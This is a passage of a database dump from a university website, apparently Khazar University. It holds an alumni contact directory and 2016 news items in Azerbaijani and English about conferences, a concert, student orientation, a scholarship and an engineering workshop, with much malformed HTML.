\"source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong></strong></p><h3 id=\"A\"><strong>A</strong></h3><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");=\"\" box-sizing:=\"\" border-box;=\"\" margin:=\"\" 0px=\"\" 10px;=\"\" font-size:=\"\" 18px;=\"\" color:=\"\" rgb(37,=\"\" 37,=\"\" 37);=\"\" font-family:=\"\" \"source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Abdul Rasheed Razia</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");=\"\" box-sizing:=\"\" border-box;=\"\" margin:=\"\" 0px=\"\" 10px;=\"\" font-size:=\"\" 18px;=\"\" color:=\"\" rgb(37,=\"\" 37,=\"\" 37);=\"\" font-family:=\"\" \"source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\" style=\"background-image: url(\" \");\"=\"\">Faculty of Medicine</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");=\"\" box-sizing:=\"\" border-box;=\"\" margin:=\"\" 0px=\"\" 10px;=\"\" font-size:=\"\" 18px;=\"\" color:=\"\" rgb(37,=\"\" 37,=\"\" 37);=\"\" font-family:=\"\" \"source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\" style=\"background-image: url(\" \");\"=\"\">G.P (General practioner)&nbsp; in Tindivanam (Home town)</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");=\"\" box-sizing:=\"\" border-box;=\"\" margin:=\"\" 0px=\"\" 10px;=\"\" font-size:=\"\" 18px;=\"\" color:=\"\" rgb(37,=\"\" 37,=\"\" 37);=\"\" font-family:=\"\" \"source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\" style=\"background-image: url(\" \");\"=\"\">Email:&nbsp;<a href=\"mailto:dr.raziaar@gmail.com\">dr.raziaar@gmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");=\"\" box-sizing:=\"\" border-box;=\"\" margin:=\"\" 0px=\"\" 10px;=\"\" font-size:=\"\" 18px;=\"\" color:=\"\" rgb(37,=\"\" 37,=\"\" 37);=\"\" font-family:=\"\" \"source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\" style=\"background-image: url(\" \");\"=\"\"><a href=\"mailto:dr.raziaar@gmail.com\"></a>2003- 2008</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><strong></strong></p><h3 id=\"G\">G</h3><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Govindaraj Venkatraman</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">2003-2008</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Faculty of Medicine</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Consultant in Emergency medicine, Chennai</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">&nbsp;E-mail:&nbsp;<a href=\"http://mailto:Venkat18121983@gmail.com/\">Venkat18121983@gmail.com</a></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p><p><a href=\"http://mailto:Venkat18121983@gmail.com/\"></a></p><h3 id=\"O\">O</h3><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Obiageli Okafor</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Faculty of Medicine</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Clinical Support Officer. FHI 360, Lagos, Nigeria</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:writeoby@gmail.com\">writeoby@gmail.com</a>&nbsp;,<a href=\"mailto:obo021@mail.harvard.edu\">obo021@mail.harvard.edu</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:obo021@mail.harvard.edu\"></a>2008</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p><h3 id=\"R\">R</h3><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Ramakrishnan&nbsp;&nbsp;Kalaivani</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">&nbsp;Faculty&nbsp;of&nbsp;Medicine (2003-2008&nbsp;&nbsp;)&nbsp; &nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Doctor,Consultant-Telemedicine&nbsp;Department</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Apollo&nbsp;Hospitals,Hyderabad</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">E-mail:&nbsp;<a href=\"http://mailto:artcomeyou2007@gmail.com/\">artcomeyou2007@gmail.com&nbsp;</a>&nbsp;&nbsp;</p>'),(2555,1540,'az','Qlobal məlumat bazaları “Xəzər”in əməkdaşları üçün açıldı','2016-cı dekabrın 31-nə qədər yeni “World eBook Library” və “Global eJournal Library” məlumat bazasından istifadə Xəzər Universitetinin bütün əməkdaşları üçün açıqdır...','<p>2016-cı dekabrın\r\n31-nə qədər yeni “<em>World eBook Library</em>”\r\nvə “<em>Global eJournal Library</em>” məlumat\r\nbazasından istifadə Xəzər Universitetinin bütün əməkdaşları üçün açıqdır. </p>\r\n<p>Dünya İctimai\r\nKitabxanası elektron formatda kitab və məqalələrin dünyada ən böyük toplusudur.\r\nBurada 4.000.000 elmi elektron kitab və sənədlər toplusu mövcuddur.</p>\r\n<p>Qlobal eJurnal\r\nKitabxanasının məlumat bazasında 22.000 jurnalda 9.000.000 məqaləyə sərbəst\r\ngiriş vardır.&nbsp;</p>'),(2556,1541,'az','Xəzər Uiversitetinin əməkdaşı beynəlxalq konfransda iştirak etdi','2016-cı il noyabrın 3-dən 5-dək Xəzər Universiteti Dillər və mədəniyyətlər departmentinin müdiri dosent Elnurə Əzizova Türk Tarix Qurumu, Nəcməddin Ərbakan Universiteti, Çukurova...','<p>2016-cı il noyabrın 3-dən 5-dək Xəzər Universiteti Dillər və mədəniyyətlər\r\ndepartmentinin müdiri dosent Elnurə Əzizova Türk Tarix Qurumu, Nəcməddin\r\nƏrbakan Universiteti, Çukurova Universiteti və İslam Tarixçiləri Dərnəyinin birgə təşkilatçılığı ilə\r\nAdanada həyata keçirilən “Beynəlxalq Orta Anadolu və Aralıq dənizi Bəyliklərinin\r\nTarixi, Kültürü və Mədəniyyəti Simpoziumu III – Ramazanoğulları Bəyliyi” adlı\r\nbeynəlxalq simpoziumda iştirak etmişdir. Elnurə Əzizova simpoziumda “Fransız səyyahı\r\nBertrandon de La Broquierin gözü ilə XV əsr Anadolu Bəyliklərində ictimai-mədəni\r\nhəyat: Ramazanoğulları nümunəsində” mövzusunda məruzə ilə çıxış etmişdir.\r\nSimpozium müddətində Elnurə Əzizova Türk Tarix Qurumunun rəhbəri professor\r\nRefik Turan, İslam Tarixçiləri Dərnəyinin rəhbəri professor Mehmet Şeker və digər\r\nelm adamları ilə Türk-İslam tarixininə dair müştərək beynəlxalq tədbirlələrin həyata\r\nkeçirilməsi haqqında fikir mübadiləsi aparmışdır.</p>'),(2552,1538,'az','“Xəzər”in əməkdaşı beynəlxalq konfransda çıxış etdi','2016-cı il noyabrın  2-dən 6-dək Xəzər Universiteti Xəzər Psixoloji Xidmət Mərkəzinin direktoru, Humanitar və sosial elmlər fakültəsinin dekan muavini Mələk Kərimova Türkiyənin...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2016-cı il noyabrın&nbsp; 2-dən 6-dək Xəzər\r\nUniversiteti Xəzər\r\nPsixoloji Xidmət Mərkəzinin direktoru, Humanitar və sosial elmlər fakültəsinin\r\ndekan muavini Mələk Kərimova Türkiyənin Süleyman Dəmirəl Universiteti və Qərbi\r\nMacarıstan Universitetinin əməkdaşlığı ilə təşkil edilən 2-ci Sosial Elmlər və\r\nTəhsil Tədqiqatları Beynəlxalq Konfransında tezis ilə çıxış etmişdir. Mələk Kərimova\r\nvə Nərmin Osmanlı Azərbaycanda ilk dəfə Derogatis (1993) tərəfindən hazırlanan\r\nvə dünyanın bir çox ölkəsində istifadə edilən, psixoloji distress səviyyəsini\r\nölçmək üçün “Qısa Semptom Envanterini” Azərbaycana uygunlaşdırmışlar. 309 gənç\r\nüzərində keçirilən tədqiqatın nəticələri ilə konfransda çıxış edən Mələk Kərimova\r\nbu testin adaptasiyasının zəruriliyini də qeyd edərək, ölkələr arası təhlillərə\r\ndə geniş yer vermişdir.</p>'),(2553,1538,'en','Psychologial Services Center Director in International Conference ','On November 2-6, 2016, Melek Karimova, Assistant Dean of the School of Humanities and Social Sciences and Director of the Psychological Service Center at Khazar University, participated...','On November 2-6, 2016,\r\nMelek Karimova, Assistant Dean of the School of Humanities and Social Sciences\r\nand Director of the Psychological Service Center at Khazar University,\r\nparticipated in the 2nd International Conference on&nbsp; Social Sciences and\r\nEducation Research which was held in Istanbul, Turkey. She\r\npresented a paper entitled “The Brief Symptom Inventory: A Validity-Reliability\r\nStudy of a Sample From Azerbaijan.” The conference was organized by\r\nInternational Center of Social &amp; Education Research (ICSER) and supported\r\nby Suleyman Demirel University (Turkey) and West Hungary University (Hungary).'),(2554,1539,'az','Bəstəkar Sərdar Fərəcov ilə üz-üzə','Noyabrın 4-də Xəzər Universitetinin Mərkəz kampusunun “Dünya” konsert salonunda universitetin elm, ədəbiyyat və incəsənət xadimləri  ilə görüşlərdən...','<p>Noyabrın 4-də Xəzər Universitetinin Mərkəz kampusunun “Dünya”\r\nkonsert salonunda universitetin elm, ədəbiyyat və incəsənət xadimləri&nbsp; ilə görüşlərdən ibarət ənənəvi&nbsp; “Üz - üzə” layihəsi çərçivəsində Azərbaycan\r\nBəstəkarlar İttifaqının katibi, Üzeyir Hacıbəylinin Ev Muzeyinin direktoru,\r\nƏməkdar incəsənət xadimi, bəstəkar Sərdar Fərəcov ilə görüş keçirildi. Tədbirdə\r\nXəzər Universitetinin rəhbərliyi və əməkdaşları, Xalq artisti, bəstəkar Arif\r\nMəlikov, mədəniyyət və incəsənət xadimləri iştirak edirdilər. Tədbirin\r\naparıcısı musiqişünas Nərgiz Kərimova idi. </p>\r\n<p>Görüş bəstəkarın əsərlərindən ibarət zəngin konsert proqramı və\r\nçıxışlardan ibarət idi. Konsertdə Xəzər Universitetinin Kamera orkestri\r\n(konsertmeyster Nəsrin&nbsp;&nbsp; Rzayeva),&nbsp;&nbsp; Xəzər&nbsp;\r\nUniversitetinin&nbsp;&nbsp; Musiqi&nbsp; və&nbsp; incəsənət&nbsp;\r\ndepartamentinin&nbsp; müdiri, dosent, pianoçu&nbsp;&nbsp; Zülfiyyə&nbsp;&nbsp;\r\nSadıqova, pianoçu-müşayiətçi Sevinç Kərimova, Beynəlxalq&nbsp; müsabiqələr&nbsp;\r\nlaureatları -&nbsp; skripkaçılar&nbsp;&nbsp;\r\nÜmid&nbsp;&nbsp; Mustafayev, Nərgiz&nbsp; Əliyeva, Zərrin&nbsp; Əliyeva,\r\nkamançaçı&nbsp; Mədinə&nbsp; Şahgəldiyeva və müğənni Fəridə Məmmədova iştirak\r\nedirdilər.</p>\r\n<p>Konsertdə bəstəkarın simli&nbsp;&nbsp; alətlər&nbsp;\r\nüçün&nbsp;&nbsp; pyesləri, valsları, skripka və fortepiano üçün əsərləri,\r\nromansları ifa olundu. Bəstəkarın Xəzər Universitetinin təsisçisi, Direktorlar\r\nvə Qəyyumlar Şurasının sədri, şair Hamlet İsaxanlının sözlərinə bəstələdiyi\r\n“Uşaqlıqda&nbsp;&nbsp; qalan&nbsp; bulud”&nbsp;&nbsp;\r\nvə “İstanbul&nbsp; Boğaziçi” romansları müğənni &nbsp; Fəridə\r\nMəmmədovanın ifasında ilk dəfə səsləndi.</p>\r\n<p>Çıxış edənlər - musiqişünas, Bəstəkarlar İttifaqının katibi,\r\nprofessor Zemfira&nbsp; Qafarova, teatr və kino rejissoru Rövşən Almuradlı,\r\nQazi Universitetinin (Türkiyə) professoru, Əməkdar incəsənət xadimi, opera\r\nrejissoru, professor Əflatun Nemətzadə, Xalq artisti, tarzən Ramiz Quliyev\r\nSərdar Fərəcovun yaradıcılıq xüsusiyyətlərindən ətraflı danışdılar.</p>\r\n<p>Hamlet İsaxanlı çıxış edərək, universitetin “Üz- üzə” layihəsi\r\nhaqqında geniş məlumat verdi, Sərdar Fərəcova universitetin təşəkkürnaməsini və\r\nXəzər Universitetinin müəllimi, rəssam Afaq Kərimovanın çəkdiyi portretini\r\ntəqdim etdi.</p>\r\n<p>&nbsp;Sonda Sərdar Fərəcov çıxış edərək, Xəzər Universitetinin\r\nrəhbərliyinə və iştirakçılara təşəkkürünü bildirdi.</p>\r\n<p>“Üz-üzə” layihəsinin daha bir görüşü uğurla keçdi.</p>'),(2559,1540,'en','Global Databases Open to Khazar University','World eBook Library and The Global eJournal Library are available to Khazar University free of charge for the period of November 7 to December 31, 2016...','<p>World\r\neBook Library and The Global eJournal Library are available to Khazar\r\nUniversity free of charge for the period of November 7 to December 31, 2016.</p>\r\n<p>World\r\neBook Library is the world’s largest collection of books and articles in\r\nelectronic format. It includes 4,000,000 academic e-books and documents.</p>\r\n<p>The\r\nGlobal eJournal Library database provides open access to 22,000 journals with\r\n9,000,000 articles.</p>'),(2560,1539,'en','Face to Face with Composer Sardar Farajov','On November 4, 2016, a concert was given in the World Concert Hall of Khazar University’s downtown campus as part of the traditional “Face to Face” project to organize evenings with...','<p style=\"\" mso-margin-top-alt:auto;line-height:normal\";margin-bottom:auto\"=\"\">On November 4, 2016, a concert was given\r\nin the World Concert Hall of Khazar University’s downtown campus as part of the\r\ntraditional “Face to Face” project to organize evenings with people of science,\r\nliterature and arts. This evening was dedicated to composer Sardar Farajov, secretary\r\nof Azerbaijan Composers’ Union, director of the Uzeyir Hajibeyli House Museum\r\nand Meritorious Servant of the Arts. Participants in the event included Khazar\r\nUniversity administrators and students, People’s Artist and composer Arif\r\nMelikov, and other people of culture and arts.The\r\nemcee of the event was music scholar Nargiz Karimova.&nbsp;   </p>\r\n<p style=\"\" mso-margin-top-alt:auto;line-height:normal\";margin-bottom:auto\"=\"\">The evening included a rich concert\r\nprogram of the composer’s works with performances by the Khazar University\r\nChamber Orchestra (concertmaster: Nasrin Rzyaeva); pianist and Associate\r\nProfessor Zulfiyya Sadigova, Chair of Khazar University’s Department of Music\r\nand Fine Arts; pianist/accompanist Sevinj Karimova, international competition\r\nwinners including violinists Umid Mustafayev, Nargiz Aliyeva, Zarrin Aliyeva; kamancha\r\nplayer Madina Shahgaldiyeva and vocalist Farida Mammadova. </p>\r\n<p style=\"\" mso-margin-top-alt:auto;line-height:normal\";margin-bottom:auto\"=\"\">The concert included the composer’s works\r\nfor string ensembles, waltzes, works for violin and piano, and romances. Singer\r\nFarida Mammadova gave premiere performances of songs that the composer wrote to\r\nthe lyrics of Professor Hamlet Isaxanli, the founder of Khazar University and\r\nChairman of its Board of Directors and Trustees, including “A Cloud Left from\r\nChildhood” and “Istanbul Bosphorus.” </p>\r\n<p style=\"\" mso-margin-top-alt:auto;line-height:normal\";margin-bottom:auto\"=\"\">Speeches were made by Dr. Zamfira\r\nGafarova, music scholar and secretary of the Composers’ Union; Rovshan Almuradli,\r\ntheater and film director; Meritorious Servant of Arts and opera director\r\nProfessor Aflatun Neymetzada; and People’s Artist and tar player Ramiz Quliyev.\r\n</p>\r\n<p style=\"\" mso-margin-top-alt:auto;line-height:normal\";margin-bottom:auto\"=\"\">Hamlet Isaxanli also made a speech about\r\nthe university’s “Face to Face” project, and he presented a thank-you\r\ncertificate to Sardar Farajov as well as a portrait drawn by Afag Karimova,\r\nartist and university instructor. </p>\r\n<p style=\"\" mso-margin-top-alt:auto;line-height:normal\";margin-bottom:auto\"=\"\">Then Sardar Farajov made a speech to thank\r\nthe Khazar University administration and participants.&nbsp;</p>'),(2561,1541,'en','Department Chair in International Conference','On November 3-5, 2016, Associate Professor Elnura Azizova, Head of the Department of Languages and Civilizations at Khazar University...','<p>On November 3-5,\r\n2016, Associate Professor Elnura Azizova, Head of the Department of Languages\r\nand Civilizations at Khazar University, participated in the III International\r\nSymposium of History and Culture of the Anatolia and Mediterranean Region\r\nfocusing on the Ramazanogullar Beylik which took place in Adana with the joint\r\ncoordination of Turkish History Board, Najmaddin Arbakan University, Chukurova\r\nUniversity and Islamic Historians’ Circle. Elnura Azizova made a presentation\r\nat the symposium on the topic “Social/Cultural Life in the XV Century Anatolia\r\nBeyliks Through the Eyes of French Traveler Bertrandon de La Broquier: The\r\nExample of Ramazanoghullar.” During the symposium, Dr. Azizova also exchanged\r\nopinions with Professor Refik Turan, Head of Turkish History Board; Professor\r\nMehmet Seker, Head of the Islamic Historians’ Circle; and others about jointly\r\norganizing international events.&nbsp;</p>'),(2562,1543,'az','“İmtahanlara psixoloji hazırlıq” adlı seminar keçirildi','2016-cı il noyabrın 5-də Xəzər Universiteti Tələbə Məclisinin təşkilatçılığı ilə tələbələrin midterm imtahanlarında daha uğurlu olması üçün tanınmış psixoloq, Psixologiya...','<p>2016-cı\r\nil noyabrın 5-də Xəzər Universiteti Tələbə Məclisinin\r\ntəşkilatçılığı ilə tələbələrin midterm imtahanlarında daha uğurlu olması üçün tanınmış\r\npsixoloq, Psixologiya və Konsultasiya Mərkəzinin rəhbəri Elnur Rüstəmov tərəfindən\r\n“İmtahanlara psixoloji hazırlıq” adlı seminar keçirildi. </p>\r\n<p>Elnur Rüstəmov\r\ntələbələrə<em> imtahan zamanının düzgün bölünməsi, diqqətin korreksiyası, motivasiya,\r\nhəyəcanın aradan qaldırılması, stress, depressiya, təşvişi nevrotik pozuntular </em>haqqında\r\nməlumat verdi.</p>\r\n<p>&nbsp;E.Rüstəmov Xəzər Universitetinin tələbələri\r\nilə diskusiya aparmaq və onlara seminar vermək onun üçün çox xoş olduğunu qeyd\r\netdi. Tələbələrin rəylərini alaraq, yaxın aylarda belə psixoloji seminarların\r\ndaha da çox keçirilməsi planlaşdırılır.</p>\r\n<p>Seminara 35 nəfərə yaxın tələbə iştirak\r\nedirdi.</p>'),(2563,1544,'az','“Hüququnuzu bilin!” adlı seminar keçirildi','2016-cı il noyabrın 5-də Xəzər Universiteti Tələbə Məclisinin dəstəyi və AEGEE-Bakı-nın (European Students\' Forum) təşkilatçılığı ilə Xəzər Universiteti və digər universitetlərdən...','<p>2016-cı\r\nil noyabrın 5-də Xəzər Universiteti Tələbə Məclisinin\r\ndəstəyi və AEGEE-Bakı-nın (<em>European\r\nStudents\' Forum</em>) təşkilatçılığı ilə Xəzər Universiteti və digər universitetlərdən\r\nolan tələbələrlə insan haqları mövzusunda “Hüququnuzu bilin!” (“<em>Know your rights, now!”)</em> adlı təlim\r\nkeçirildi. AEGEE-Bakı hüquq işçi qrupunun koordinatoru Nicat Məmmədov və təlimçi\r\nXəyyam Namazov tərəfindən planlanan təlim proqramı 5 saat davam etdi. Təcrübəli\r\ntəlimçi tərəfindən tələbələrə ümumi olaraq hüquq mövzusunda və başqa bir çərçivədən\r\ninsan haqlarından danışıldı, çox yararlı məlumatlar verildi.</p>\r\n<p>Tələbə\r\nMəclisi AEGEE-Bakı ilə olan bu tədbirin yaxın həftələrdə davamının olacağını\r\nbildirir.</p>'),(2564,1545,'az','Əcnəbi tələbələr üçün oriyentasiya sessiyası keçirildi','2016-cı il noyabrın 4-də Beynəlxalq əlaqələr şöbəsinin işçi və könüllüləri cari tədris ilində (2016-2017) Xəzər Universitetinə qoşulmuş 1-ci kurs əcnəbi bakalavr tələbələri üçün oriyentasiya...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2016-cı il noyabrın 4-də Beynəlxalq əlaqələr şöbəsinin işçi və\r\nkönüllüləri cari tədris ilində (2016-2017) Xəzər Universitetinə qoşulmuş 1-ci\r\nkurs əcnəbi bakalavr tələbələri üçün oriyentasiya sessiyası keçirdilər.\r\nİştirakçılar Əfqanıstan, Kamerun, Qambiya, İran, İraq və Zimbabvedən olan yeni əyani\r\n1-ci kurs tələbələri, həmçinin, Türkiyədən olan mübadilə proqramı tələbələrindən\r\nibarət idi. Sessiya universitetin “Neftçilər” kampusunda baş tutdu.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Oriyentasiya sessiyası zamanı tələbələrin\r\nuniversitetin resursları və xidmətləri ilə tanış olmaq, digər əcnəbi tələbələri\r\ntanımaq və Azərbaycan mədəniyyəti haqqında öyrənmək imkanları oldu. Sessiya\r\nzamanı iştirakçılara Xəzər Universitetində akademik və sosial həyat, Azərbaycan\r\ntarixi, yerli mədəniyyət və adətlər, Bakıda keçirilən illik tədbirlər, Azərbaycanda\r\nəcnəbilərə aid olan qayda və qanunlar və bir çox başqa mövzularla bağlı məlumat\r\nverildi. Hazırkı əcnəbi tələbələr də sessiyada iştirak etdilər və digər əcnəbi\r\ntələbələrlə öz təcrübələrini bölüşdülər. Tələbə Məclisi və Kitabxana-İnformasiya\r\nMərkəzinin nümayəndələri də öz resursları, xidmətləri və tələbələrin onlardan\r\nnecə yararlana biləcəyi haqqında qısa təqdimat keçirdilər.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Yeni bakalavr tələbələrinin sessiya\r\nzamanı onlara verilən sualları cavablandıraraq Xəzər Universitetinin təbliğat\r\nmaterialları və yerli suvenirlərdən ibarət kiçik hədiyyələr qazanmaq şansı\r\noldu. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Bir gün davam edən oriyentasiya\r\nsessiyası Xəzər Universitetinin nəzdində fəaliyyət göstərən “Dünya” məktəbində\r\nkeçirilən turla başa çatdı. Tələbələr məktəbin işçi heyəti ilə tanış oldu və\r\nlaboratoriyalar, sinif otaqları, idman kompleksi və digər kampus resurslarında\r\noldular.</p>'),(2565,1545,'en','Orientation Session for Bachelor International Students','On November 4, 2016, the International Affairs Office staff and volunteers conducted an orientation session for first year international bachelor students admitted to Khazar University...','<p>On November 4, 2016,\r\nthe International Affairs Office staff and volunteers conducted an orientation\r\nsession for first year international bachelor students admitted to Khazar\r\nUniversity in the current academic year (2016-2017). Participants included new\r\nfull-time bachelor students from Afghanistan, Cameroon, Gambia, Iran, Iraq, and\r\nZimbabwe, as well as exchange students from Turkey. The orientation session\r\ntook place on the Neftchilar Campus.</p>\r\n<p>During the orientation\r\nsession students got an opportunity to learn about the University’s resources\r\nand services, meet other international students, and learn about the culture of\r\nAzerbaijan. Topics covered during the orientation session included but were not\r\nlimited to: academic and social life at Khazar University, history of\r\nAzerbaijan, local culture and traditions, annual events in Baku, rules and\r\nregulations concerning foreigners in Azerbaijan, and others. Current\r\ninternational students also participated in the session and shared their\r\nexperience with their fellow international students. Representatives of Student\r\nUnion and Library Information Resource Center gave short presentations about\r\ntheir resources and services they provide and how students could benefit from\r\nthem. </p>\r\n<p>New bachelor students\r\nhad a chance to win small prizes – promotional materials of Khazar University\r\nand local souvenirs – by answering quiz questions throughout the session.\r\nStudents were challenged by being tested on their knowledge about the history\r\nand culture of Azerbaijan.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">The\r\none-day orientation session ended with a tour to Khazar University’s affiliate, Dunya School. Students were\r\nintroduced to the school staff and visited laboratories, classrooms, sport\r\ncomplex and other on-campus resources of the school.<strong></strong></p>'),(2567,1546,'en','FULL NON-DEGREE (1 Semester) SCHOLARSHIP PROGRAM IN THE USA: Global Undergraduate Exchange Program 2017-2018','The Global Undergraduate Exchange Program offers a full scholarship for one semester of study in a U.S. college or university to undergraduate students from Azerbaijan for the 2017-2018...','<p>The\r\nGlobal Undergraduate Exchange Program offers a full scholarship for one\r\nsemester of study in a U.S. college or university to undergraduate students\r\nfrom Azerbaijan for the 2017-2018 academic year. Scholarships are available in\r\nall academic fields of study except medicine, law, or other faculties only\r\noffered at the graduate level in the U.S.</p>\r\n<p><strong>DEADLINE: December 31, 2016</strong></p>\r\n<p>For\r\nmore information:</p>\r\n<p><a href=\"https://azerbaijan.usembassy.gov/edu2/ugrad.html\">US Embassy in\r\nBaku</a>\r\n<a href=\"https://azerbaijan.usembassy.gov/edu2/ugrad.html\">https://azerbaijan.usembassy.gov/edu2/ugrad.html</a></p>\r\n<p><a href=\"http://photos.state.gov/libraries/azerbaijan/749085/educ/ugrad_application_guide.pdf\">Application\r\nGuideline</a>\r\n<a href=\"http://photos.state.gov/libraries/azerbaijan/749085/ugrad/Step-by-Step-Student-UGRAD-Application-Instructions-2016.pdf\">http://photos.state.gov/libraries/azerbaijan/749085/ugrad/Step-by-Step-Student-UGRAD-Application-Instructions-2016.pdf</a></p>\r\n<p><a href=\"http://photos.state.gov/libraries/azerbaijan/749085/ugrad/UGRAD_ProgramTimeline.pdf\">Program Timeline</a> <a href=\"http://photos.state.gov/libraries/azerbaijan/749085/ugrad/UGRAD_ProgramTimeline.pdf\">http://photos.state.gov/libraries/azerbaijan/749085/ugrad/UGRAD_ProgramTimeline.pdf</a></p>\r\n<p><a href=\"http://photos.state.gov/libraries/azerbaijan/749085/educ/ugrad_brochure.pdf\">Brochure</a>&nbsp; <a href=\"http://photos.state.gov/libraries/azerbaijan/749085/educ/ugrad_brochure.pdf\">http://photos.state.gov/libraries/azerbaijan/749085/educ/ugrad_brochure.pdf</a></p>'),(2568,1547,'az','Növbəri tədqiqat seminarı keçiriləcək','2016-cı il noyabrin 14-ü saat 16:00-da 314A (köhnə bina) otağında tədqiqat seminarı (Research Seminar/Journal Club) keçiriləcək.Seminarın planına aşağıdakılar daxildir...','<p>2016-cı il noyabrin\r\n14-ü saat 16:00-da&nbsp;<strong>314A (köhnə bina)</strong> otağında tədqiqat seminarı (<strong><em>Research Seminar/Journal Club)</em></strong>\r\nkeçiriləcək.</p>\r\n<p>Seminarın planına aşağıdakılar daxildir:</p>\r\n<p style=\"\" margin-left:0in;text-align:justify;text-indent:.25in\"=\"\">1.<strong>Səidə Orucova</strong> – Xəzər Universitetinin, abunə olduğu\r\n“Elektron resurslarda axtarış üsulları”;</p>\r\n<p style=\"\" margin-left:0in;text-align:justify;text-indent:.25in\"=\"\">2.<strong>Pərvanə Baxşəliyeva</strong> –“Yenidoğulmuşlar\r\narasında fenilketonuriyanın genetik xüsusiyyətləri haqqında” adlı məqalənin təhlili\r\nvə bununla əlaqədar bu vaxta qədər apardığı tədqiqatların nəticələrinin qiymətləndirilməsi;</p>\r\n<p>3.<strong>İradə Xəlilova</strong> – oktyabrın 26-da Avropanın “<em>Cystic Fibrosis</em>” jurnalına qəbul edilən&nbsp;<span style=\"color:#000000\">“Oksidləşmiş\r\nqlütation və sidik turşusu </span><span style=\"color:#000000\">ağ ciyərin </span><span style=\"color:#000000\">erkən kistik fibroz xəstəliyinin biomarkeri\r\nkimi”</span>“<em>Oxidized glutathione and uric acid\r\nas biomarkers of early cystic fibrosis lung disease</em>” məqaləsinin təqdimatı\r\nvə məqalədə göstərilən nəticələrin qiymətləndirilməsi;</p>\r\n<p style=\"\" margin-left:0in;text-indent:.25in\"=\"\">4.Digər\r\nməsələlər.</p>\r\n<p>Maraqlanan hər kəs dəvətlidir.</p>'),(2574,1549,'en','Japanese Inventor Gives Engineering Workshop','On November 7, 2016, Japanese inventor and scientist Mr. Kohei Ishigami San gave a workshop on practical embedded systems to Khazar University engineering students...','<p>On November 7, 2016, Japanese inventor and scientist Mr.\r\nKohei Ishigami San gave a workshop on practical embedded systems to Khazar\r\nUniversity engineering students. </p>\r\n<p>Mr. Ishigami used an Arduino-based Open System\r\nMicro-controller to control several electrical and mechanical devices such as\r\nservo motors, LED lights, and stepper motors. </p>\r\n<p>Students practiced programming parts with the Arduino Uno\r\nplatform, and enjoyed seeing the outcomes of what they have learned. At the end\r\nof the 